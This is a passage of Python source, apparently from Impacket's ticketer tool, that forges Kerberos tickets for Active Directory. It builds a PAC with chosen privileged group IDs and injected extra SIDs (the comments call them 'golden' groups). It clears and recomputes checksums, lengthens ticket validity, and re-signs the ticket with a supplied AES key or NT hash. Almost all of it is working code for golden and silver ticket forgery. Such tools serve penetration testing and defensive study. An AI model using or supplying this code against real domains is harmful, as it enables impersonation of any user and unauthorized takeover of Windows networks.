pacInfos[infoBuffer['ulType']] = checksum.getData()
elif infoBuffer['ulType'] == PAC_ATTRIBUTES_INFO:
AttributesInfoPacInS4UU2UPAC = True
pacInfos[infoBuffer['ulType']] = data
elif infoBuffer['ulType'] == PAC_REQUESTOR_INFO:
RequestorInfoPacInS4UU2UPAC = True
pacInfos[infoBuffer['ulType']] = data
else:
pacInfos[infoBuffer['ulType']] = data
# adding the Requestor and Attributes structures manually if they were not in the S4U2self+U2U ticket's PAC
if self.__options.old_pac is False and not AttributesInfoPacInS4UU2UPAC:
self.createAttributesInfoPac(pacInfos)
if self.__options.old_pac is False and not RequestorInfoPacInS4UU2UPAC:
if self.__options.user_id == "500":
logging.warning("User ID is 500, which is Impacket's default. If you specified -user-id, you can ignore this message. "
"If you didn't, and you get a KDC_ERR_TGT_REVOKED error when using the ticket, you will need to specify the -user-id "
"with the RID of the target user to impersonate")
self.createRequestorInfoPac(pacInfos)
# changing ticket flags to match TGT / ST
logging.info("\tAdding necessary ticket flags")
originalFlags = [i for i, x in enumerate(list(encTicketPart['flags'].asBinary())) if x == '1']
flags = originalFlags
newFlags = [TicketFlags.forwardable.value, TicketFlags.proxiable.value, TicketFlags.renewable.value, TicketFlags.pre_authent.value]
if self.__domain == self.__server:
newFlags.append(TicketFlags.initial.value)
for newFlag in newFlags:
if newFlag not in originalFlags:
flags.append(newFlag)
encTicketPart['flags'] = encodeFlags(flags)
# changing key type to match what the TGT we obtained
logging.info("\tChanging keytype")
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
else:
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
if self.__domain == self.__server:
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = noValue
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = noValue
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = noValue
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = noValue
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))
# Let's extend the ticket's validity a lil bit
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = noValue
encTicketPart['authorization-data'][0] = noValue
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = noValue
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data, lenVal)
aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
extrasids = self.__options.extra_sid.split(',')
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
for extrasid in extrasids:
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extrasid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if PAC_CLIENT_INFO_TYPE in pacInfos:
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
if self.__domain == self.__server:
encRepPart = EncASRepPart()
else:
encRepPart = EncTGSRepPart()
encRepPart['key'] = noValue
encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encRepPart['last-req'] = noValue
encRepPart['last-req'][0] = noValue
encRepPart['last-req'][0]['lr-type'] = 0
encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))
encRepPart['nonce'] = 123456789
encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
flags = []
for i in encTicketPart['flags']:
flags.append(i)
encRepPart['flags'] = flags
encRepPart['authtime'] = str(encTicketPart['authtime'])
encRepPart['endtime'] = str(encTicketPart['endtime'])
encRepPart['starttime'] = str(encTicketPart['starttime'])
encRepPart['renew-till'] = str(encTicketPart['renew-till'])
encRepPart['srealm'] = self.__domain.upper()
encRepPart['sname'] = noValue
encRepPart['sname']['name-string'] = noValue
encRepPart['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
encRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
else:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encRepPart['sname']['name-string'][1] = self.__server
logging.info('\tEncTGSRepPart')
return encRepPart, encTicketPart, pacInfos
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
logging.info('Signing/Encrypting final ticket')
# Basic PAC count
pac_count = 4
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob))
pacUpnDnsInfoBlob = None
pacUpnDnsInfoAlignment = None
if PAC_UPN_DNS_INFO in pacInfos:
pac_count += 1
pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO]
pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob))
pacAttributesInfoBlob = None
pacAttributesInfoAlignment = None
if PAC_ATTRIBUTES_INFO in pacInfos:
pac_count += 1
pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO]
pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob))
pacRequestorInfoBlob = None
pacRequestorInfoAlignment = None
if PAC_REQUESTOR_INFO in pacInfos:
pac_count += 1
pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO]
pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize'])
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize'])
pacUpnDnsInfoIB = None
if pacUpnDnsInfoBlob is not None:
pacUpnDnsInfoIB = PAC_INFO_BUFFER()
pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO
pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob)
pacUpnDnsInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize'])
pacAttributesInfoIB = None
if pacAttributesInfoBlob is not None:
pacAttributesInfoIB = PAC_INFO_BUFFER()
pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO
pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob)
pacAttributesInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize'])
pacRequestorInfoIB = None
if pacRequestorInfoBlob is not None:
pacRequestorInfoIB = PAC_INFO_BUFFER()
pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO
pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob)
pacRequestorInfoIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize'])
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize'])
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize'])
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData()
if pacUpnDnsInfoIB is not None:
buffers += pacUpnDnsInfoIB.getData()
if pacAttributesInfoIB is not None:
buffers += pacAttributesInfoIB.getData()
if pacRequestorInfoIB is not None:
buffers += pacRequestorInfoIB.getData()
buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \
validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
if pacUpnDnsInfoIB is not None:
buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment
if pacAttributesInfoIB is not None:
buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment
if pacRequestorInfoIB is not None:
buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = pac_count
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])